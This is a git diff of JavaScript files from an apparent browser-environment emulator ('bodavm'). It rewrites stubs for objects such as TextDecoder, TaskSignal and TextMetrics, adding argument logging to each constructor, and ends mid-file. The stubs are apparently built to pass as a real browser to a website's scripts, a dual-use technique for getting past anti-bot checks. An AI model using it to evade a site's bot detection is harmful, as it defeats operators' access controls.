b/env_xbb_lastest_jsdom/env/TaskPriorityChangeEvent.js index de842ee7..62d9ef67 100644 --- a/env_xbb_lastest_jsdom/env/TaskPriorityChangeEvent.js +++ b/env_xbb_lastest_jsdom/env/TaskPriorityChangeEvent.js @@ -1,6 +1,27 @@ -// TaskPriorityChangeEvent对象 -bodavm.memory.globalobj['TaskPriorityChangeEvent'] = function TaskPriorityChangeEvent(){if (!(this instanceof TaskPriorityChangeEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'TaskPriorityChangeEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TaskPriorityChangeEvent'], "TaskPriorityChangeEvent"); -bodavm.memory.globalobj['TaskPriorityChangeEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['TaskPriorityChangeEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('TaskPriorityChangeEvent', "previousPriority", {configurable:true, enumerable:true, get:function previousPriority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskPriorityChangeEvent'].prototype, "TaskPriorityChangeEvent", "previousPriority_get", arguments)}, set:undefined},'prototype'); +// TaskPriorityChangeEvent对象 + +bodavm.memory.globalobj['TaskPriorityChangeEvent'] = function TaskPriorityChangeEvent() { + console.log_copy('TaskPriorityChangeEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TaskPriorityChangeEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'TaskPriorityChangeEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TaskPriorityChangeEvent'], "TaskPriorityChangeEvent"); +bodavm.memory.globalobj['TaskPriorityChangeEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['TaskPriorityChangeEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('TaskPriorityChangeEvent', "previousPriority", { + configurable: true, + enumerable: true, + get: function previousPriority() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskPriorityChangeEvent'].prototype, "TaskPriorityChangeEvent", "previousPriority_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/TaskSignal.js b/env_xbb_lastest_jsdom/env/TaskSignal.js index 3f7ab300..418eccd4 100644 --- a/env_xbb_lastest_jsdom/env/TaskSignal.js +++ b/env_xbb_lastest_jsdom/env/TaskSignal.js @@ -1,7 +1,37 @@ -// TaskSignal对象 -bodavm.memory.globalobj['TaskSignal'] = function TaskSignal(){if (!(this instanceof TaskSignal)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TaskSignal'], "TaskSignal"); -bodavm.memory.globalobj['TaskSignal'].prototype.__proto__=bodavm.memory.globalobj['AbortSignal'].prototype; -bodavm.memory.globalobj['TaskSignal'].__proto__=bodavm.memory.globalobj['AbortSignal']; -bodavm.toolsFunc.defineProperty('TaskSignal', "priority", {configurable:true, enumerable:true, get:function priority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskSignal'].prototype, "TaskSignal", "priority_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TaskSignal', "onprioritychange", {configurable:true, enumerable:true, get:function onprioritychange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskSignal'].prototype, "TaskSignal", "onprioritychange_get", arguments)}, set:function onprioritychange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskSignal'].prototype, "TaskSignal", "onprioritychange_set", arguments)}},'prototype'); +// TaskSignal对象 + +bodavm.memory.globalobj['TaskSignal'] = function TaskSignal() { + console.log_copy('TaskSignal 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TaskSignal)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TaskSignal'], "TaskSignal"); +bodavm.memory.globalobj['TaskSignal'].prototype.__proto__ = bodavm.memory.globalobj['AbortSignal'].prototype; +bodavm.memory.globalobj['TaskSignal'].__proto__ = bodavm.memory.globalobj['AbortSignal']; +bodavm.toolsFunc.defineProperty('TaskSignal', "priority", { + configurable: true, + enumerable: true, + get: function priority() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskSignal'].prototype, "TaskSignal", "priority_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TaskSignal', "onprioritychange", { + configurable: true, + enumerable: true, + get: function onprioritychange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskSignal'].prototype, "TaskSignal", "onprioritychange_get", arguments); + }, + set: function onprioritychange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskSignal'].prototype, "TaskSignal", "onprioritychange_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Text.js b/env_xbb_lastest_jsdom/env/Text.js index 9bd94cd8..c2c35727 100644 --- a/env_xbb_lastest_jsdom/env/Text.js +++ b/env_xbb_lastest_jsdom/env/Text.js @@ -1,8 +1,40 @@ -// Text对象 -bodavm.memory.globalobj['Text'] = function Text(){this._boarg= new bodaobj.window.Text();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Text'], "Text"); -bodavm.memory.globalobj['Text'].prototype.__proto__=bodavm.memory.globalobj['CharacterData'].prototype; -bodavm.memory.globalobj['Text'].__proto__=bodavm.memory.globalobj['CharacterData']; -bodavm.toolsFunc.defineProperty('Text', "wholeText", {configurable:true, enumerable:true, get:function wholeText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Text'].prototype, "Text", "wholeText_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Text', "assignedSlot", {configurable:true, enumerable:true, get:function assignedSlot (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Text'].prototype, "Text", "assignedSlot_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Text', "splitText", {configurable:true, enumerable:true, writable:true, value:function splitText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Text'].prototype, "Text", "splitText", arguments)}},'prototype'); +// Text对象 + +bodavm.memory.globalobj['Text'] = function Text() { + console.log_copy('Text 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.Text(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Text'], "Text"); +bodavm.memory.globalobj['Text'].prototype.__proto__ = bodavm.memory.globalobj['CharacterData'].prototype; +bodavm.memory.globalobj['Text'].__proto__ = bodavm.memory.globalobj['CharacterData']; +bodavm.toolsFunc.defineProperty('Text', "wholeText", { + configurable: true, + enumerable: true, + get: function wholeText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Text'].prototype, "Text", "wholeText_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Text', "assignedSlot", { + configurable: true, + enumerable: true, + get: function assignedSlot() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Text'].prototype, "Text", "assignedSlot_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Text', "splitText", { + configurable: true, + enumerable: true, + writable: true, + value: function splitText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Text'].prototype, "Text", "splitText", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/TextDecoder.js b/env_xbb_lastest_jsdom/env/TextDecoder.js index 5eadfcdd..c70984b1 100644 --- a/env_xbb_lastest_jsdom/env/TextDecoder.js +++ b/env_xbb_lastest_jsdom/env/TextDecoder.js @@ -1,7 +1,46 @@ -// TextDecoder对象 -bodavm.memory.globalobj['TextDecoder'] = function TextDecoder(){this._boarg= new bodaobj.window.TextDecoder();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextDecoder'], "TextDecoder"); -bodavm.toolsFunc.defineProperty('TextDecoder', "encoding", {configurable:true, enumerable:true, get:function encoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoder'].prototype, "TextDecoder", "encoding_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextDecoder', "fatal", {configurable:true, enumerable:true, get:function fatal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoder'].prototype, "TextDecoder", "fatal_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextDecoder', "ignoreBOM", {configurable:true, enumerable:true, get:function ignoreBOM (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoder'].prototype, "TextDecoder", "ignoreBOM_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextDecoder', "decode", {configurable:true, enumerable:true, writable:true, value:function decode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoder'].prototype, "TextDecoder", "decode", arguments)}},'prototype'); +// TextDecoder对象 + +bodavm.memory.globalobj['TextDecoder'] = function TextDecoder() { + console.log_copy('TextDecoder 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.TextDecoder(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextDecoder'], "TextDecoder"); +bodavm.toolsFunc.defineProperty('TextDecoder', "encoding", { + configurable: true, + enumerable: true, + get: function encoding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoder'].prototype, "TextDecoder", "encoding_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextDecoder', "fatal", { + configurable: true, + enumerable: true, + get: function fatal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoder'].prototype, "TextDecoder", "fatal_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextDecoder', "ignoreBOM", { + configurable: true, + enumerable: true, + get: function ignoreBOM() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoder'].prototype, "TextDecoder", "ignoreBOM_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextDecoder', "decode", { + configurable: true, + enumerable: true, + writable: true, + value: function decode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoder'].prototype, "TextDecoder", "decode", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/TextDecoderStream.js b/env_xbb_lastest_jsdom/env/TextDecoderStream.js index 3e1648f7..550ba877 100644 --- a/env_xbb_lastest_jsdom/env/TextDecoderStream.js +++ b/env_xbb_lastest_jsdom/env/TextDecoderStream.js @@ -1,8 +1,54 @@ -// TextDecoderStream对象 -bodavm.memory.globalobj['TextDecoderStream'] = function TextDecoderStream(){this._boarg= new bodaobj.window.TextDecoderStream();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextDecoderStream'], "TextDecoderStream"); -bodavm.toolsFunc.defineProperty('TextDecoderStream', "encoding", {configurable:true, enumerable:true, get:function encoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoderStream'].prototype, "TextDecoderStream", "encoding_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextDecoderStream', "fatal", {configurable:true, enumerable:true, get:function fatal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoderStream'].prototype, "TextDecoderStream", "fatal_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextDecoderStream', "ignoreBOM", {configurable:true, enumerable:true, get:function ignoreBOM (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoderStream'].prototype, "TextDecoderStream", "ignoreBOM_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextDecoderStream', "readable", {configurable:true, enumerable:true, get:function readable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoderStream'].prototype, "TextDecoderStream", "readable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextDecoderStream', "writable", {configurable:true, enumerable:true, get:function writable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoderStream'].prototype, "TextDecoderStream", "writable_get", arguments)}, set:undefined},'prototype'); +// TextDecoderStream对象 + +bodavm.memory.globalobj['TextDecoderStream'] = function TextDecoderStream() { + console.log_copy('TextDecoderStream 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.TextDecoderStream(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextDecoderStream'], "TextDecoderStream"); +bodavm.toolsFunc.defineProperty('TextDecoderStream', "encoding", { + configurable: true, + enumerable: true, + get: function encoding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoderStream'].prototype, "TextDecoderStream", "encoding_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextDecoderStream', "fatal", { + configurable: true, + enumerable: true, + get: function fatal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoderStream'].prototype, "TextDecoderStream", "fatal_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextDecoderStream', "ignoreBOM", { + configurable: true, + enumerable: true, + get: function ignoreBOM() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoderStream'].prototype, "TextDecoderStream", "ignoreBOM_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextDecoderStream', "readable", { + configurable: true, + enumerable: true, + get: function readable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoderStream'].prototype, "TextDecoderStream", "readable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextDecoderStream', "writable", { + configurable: true, + enumerable: true, + get: function writable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoderStream'].prototype, "TextDecoderStream", "writable_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/TextEncoder.js b/env_xbb_lastest_jsdom/env/TextEncoder.js index ee6361a0..527ec9d2 100644 --- a/env_xbb_lastest_jsdom/env/TextEncoder.js +++ b/env_xbb_lastest_jsdom/env/TextEncoder.js @@ -1,6 +1,38 @@ -// TextEncoder对象 -bodavm.memory.globalobj['TextEncoder'] = function TextEncoder(){this._boarg= new bodaobj.window.TextEncoder();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextEncoder'], "TextEncoder"); -bodavm.toolsFunc.defineProperty('TextEncoder', "encoding", {configurable:true, enumerable:true, get:function encoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextEncoder'].prototype, "TextEncoder", "encoding_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextEncoder', "encode", {configurable:true, enumerable:true, writable:true, value:function encode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextEncoder'].prototype, "TextEncoder", "encode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TextEncoder', "encodeInto", {configurable:true, enumerable:true, writable:true, value:function encodeInto (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextEncoder'].prototype, "TextEncoder", "encodeInto", arguments)}},'prototype'); +// TextEncoder对象 + +bodavm.memory.globalobj['TextEncoder'] = function TextEncoder() { + console.log_copy('TextEncoder 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.TextEncoder(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextEncoder'], "TextEncoder"); +bodavm.toolsFunc.defineProperty('TextEncoder', "encoding", { + configurable: true, + enumerable: true, + get: function encoding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextEncoder'].prototype, "TextEncoder", "encoding_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextEncoder', "encode", { + configurable: true, + enumerable: true, + writable: true, + value: function encode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextEncoder'].prototype, "TextEncoder", "encode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextEncoder', "encodeInto", { + configurable: true, + enumerable: true, + writable: true, + value: function encodeInto() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextEncoder'].prototype, "TextEncoder", "encodeInto", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/TextEncoderStream.js b/env_xbb_lastest_jsdom/env/TextEncoderStream.js index d1d3e5ae..a6a35d6b 100644 --- a/env_xbb_lastest_jsdom/env/TextEncoderStream.js +++ b/env_xbb_lastest_jsdom/env/TextEncoderStream.js @@ -1,6 +1,38 @@ -// TextEncoderStream对象 -bodavm.memory.globalobj['TextEncoderStream'] = function TextEncoderStream(){this._boarg= new bodaobj.window.TextEncoderStream();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextEncoderStream'], "TextEncoderStream"); -bodavm.toolsFunc.defineProperty('TextEncoderStream', "encoding", {configurable:true, enumerable:true, get:function encoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextEncoderStream'].prototype, "TextEncoderStream", "encoding_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextEncoderStream', "readable", {configurable:true, enumerable:true, get:function readable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextEncoderStream'].prototype, "TextEncoderStream", "readable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextEncoderStream', "writable", {configurable:true, enumerable:true, get:function writable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextEncoderStream'].prototype, "TextEncoderStream", "writable_get", arguments)}, set:undefined},'prototype'); +// TextEncoderStream对象 + +bodavm.memory.globalobj['TextEncoderStream'] = function TextEncoderStream() { + console.log_copy('TextEncoderStream 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.TextEncoderStream(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextEncoderStream'], "TextEncoderStream"); +bodavm.toolsFunc.defineProperty('TextEncoderStream', "encoding", { + configurable: true, + enumerable: true, + get: function encoding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextEncoderStream'].prototype, "TextEncoderStream", "encoding_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextEncoderStream', "readable", { + configurable: true, + enumerable: true, + get: function readable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextEncoderStream'].prototype, "TextEncoderStream", "readable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextEncoderStream', "writable", { + configurable: true, + enumerable: true, + get: function writable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextEncoderStream'].prototype, "TextEncoderStream", "writable_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/TextEvent.js b/env_xbb_lastest_jsdom/env/TextEvent.js index 8cf92d9c..6c1089b2 100644 --- a/env_xbb_lastest_jsdom/env/TextEvent.js +++ b/env_xbb_lastest_jsdom/env/TextEvent.js @@ -1,7 +1,35 @@ -// TextEvent对象 -bodavm.memory.globalobj['TextEvent'] = function TextEvent(){if (!(this instanceof TextEvent)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextEvent'], "TextEvent"); -bodavm.memory.globalobj['TextEvent'].prototype.__proto__=bodavm.memory.globalobj['UIEvent'].prototype; -bodavm.memory.globalobj['TextEvent'].__proto__=bodavm.memory.globalobj['UIEvent']; -bodavm.toolsFunc.defineProperty('TextEvent', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextEvent'].prototype, "TextEvent", "data_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextEvent', "initTextEvent", {configurable:true, enumerable:true, writable:true, value:function initTextEvent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextEvent'].prototype, "TextEvent", "initTextEvent", arguments)}},'prototype'); +// TextEvent对象 + +bodavm.memory.globalobj['TextEvent'] = function TextEvent() { + console.log_copy('TextEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TextEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextEvent'], "TextEvent"); +bodavm.memory.globalobj['TextEvent'].prototype.__proto__ = bodavm.memory.globalobj['UIEvent'].prototype; +bodavm.memory.globalobj['TextEvent'].__proto__ = bodavm.memory.globalobj['UIEvent']; +bodavm.toolsFunc.defineProperty('TextEvent', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextEvent'].prototype, "TextEvent", "data_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextEvent', "initTextEvent", { + configurable: true, + enumerable: true, + writable: true, + value: function initTextEvent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextEvent'].prototype, "TextEvent", "initTextEvent", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/TextMetrics.js b/env_xbb_lastest_jsdom/env/TextMetrics.js index c7f523ed..671df07f 100644 --- a/env_xbb_lastest_jsdom/env/TextMetrics.js +++ b/env_xbb_lastest_jsdom/env/TextMetrics.js @@ -1,10 +1,73 @@ -// TextMetrics对象 -bodavm.memory.globalobj['TextMetrics'] = function TextMetrics(){if (!(this instanceof TextMetrics)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextMetrics'], "TextMetrics"); -bodavm.toolsFunc.defineProperty('TextMetrics', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextMetrics'].prototype, "TextMetrics", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextMetrics', "actualBoundingBoxLeft", {configurable:true, enumerable:true, get:function actualBoundingBoxLeft (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextMetrics'].prototype, "TextMetrics", "actualBoundingBoxLeft_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextMetrics', "actualBoundingBoxRight", {configurable:true, enumerable:true, get:function actualBoundingBoxRight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextMetrics'].prototype, "TextMetrics", "actualBoundingBoxRight_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextMetrics', "fontBoundingBoxAscent", {configurable:true, enumerable:true, get:function fontBoundingBoxAscent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextMetrics'].prototype, "TextMetrics", "fontBoundingBoxAscent_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextMetrics', "fontBoundingBoxDescent", {configurable:true, enumerable:true, get:function fontBoundingBoxDescent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextMetrics'].prototype, "TextMetrics", "fontBoundingBoxDescent_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextMetrics', "actualBoundingBoxAscent", {configurable:true, enumerable:true, get:function actualBoundingBoxAscent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextMetrics'].prototype, "TextMetrics", "actualBoundingBoxAscent_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextMetrics', "actualBoundingBoxDescent", {configurable:true, enumerable:true, get:function actualBoundingBoxDescent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextMetrics'].prototype, "TextMetrics", "actualBoundingBoxDescent_get", arguments)}, set:undefined},'prototype'); +// TextMetrics对象 + +bodavm.memory.globalobj['TextMetrics'] = function TextMetrics() { + console.log_copy('TextMetrics 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TextMetrics)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextMetrics'], "TextMetrics"); +bodavm.toolsFunc.defineProperty('TextMetrics', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextMetrics'].prototype, "TextMetrics", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextMetrics', "actualBoundingBoxLeft", { + configurable: true, + enumerable: true, + get: function actualBoundingBoxLeft() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextMetrics'].prototype, "TextMetrics", "actualBoundingBoxLeft_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextMetrics', "actualBoundingBoxRight", { + configurable: true, + enumerable: true, + get: function actualBoundingBoxRight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextMetrics'].prototype, "TextMetrics", "actualBoundingBoxRight_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextMetrics', "fontBoundingBoxAscent", { + configurable: true, + enumerable: true, + get: function fontBoundingBoxAscent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextMetrics'].prototype, "TextMetrics", "fontBoundingBoxAscent_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextMetrics', "fontBoundingBoxDescent", { + configurable: true, + enumerable: true, + get: function fontBoundingBoxDescent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextMetrics'].prototype, "TextMetrics", "fontBoundingBoxDescent_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextMetrics', "actualBoundingBoxAscent", { + configurable: true, + enumerable: true, + get: function actualBoundingBoxAscent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextMetrics'].prototype, "TextMetrics", "actualBoundingBoxAscent_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextMetrics', "actualBoundingBoxDescent", { + configurable: true, + enumerable: true, + get: function actualBoundingBoxDescent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextMetrics'].prototype, "TextMetrics", "actualBoundingBoxDescent_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/TextTrack.js b/env_xbb_lastest_jsdom/env/TextTrack.js index b739e356..8c697fc5 100644 --- a/env_xbb_lastest_jsdom/env/TextTrack.js +++ b/env_xbb_lastest_jsdom/env/TextTrack.js @@ -1,15 +1,103 @@ -// TextTrack对象 -bodavm.memory.globalobj['TextTrack'] = function TextTrack(){if (!(this instanceof TextTrack)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextTrack'], "TextTrack"); -bodavm.memory.globalobj['TextTrack'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['TextTrack'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('TextTrack', "kind", {configurable:true, enumerable:true, get:function kind (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "kind_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrack', "label", {configurable:true, enumerable:true, 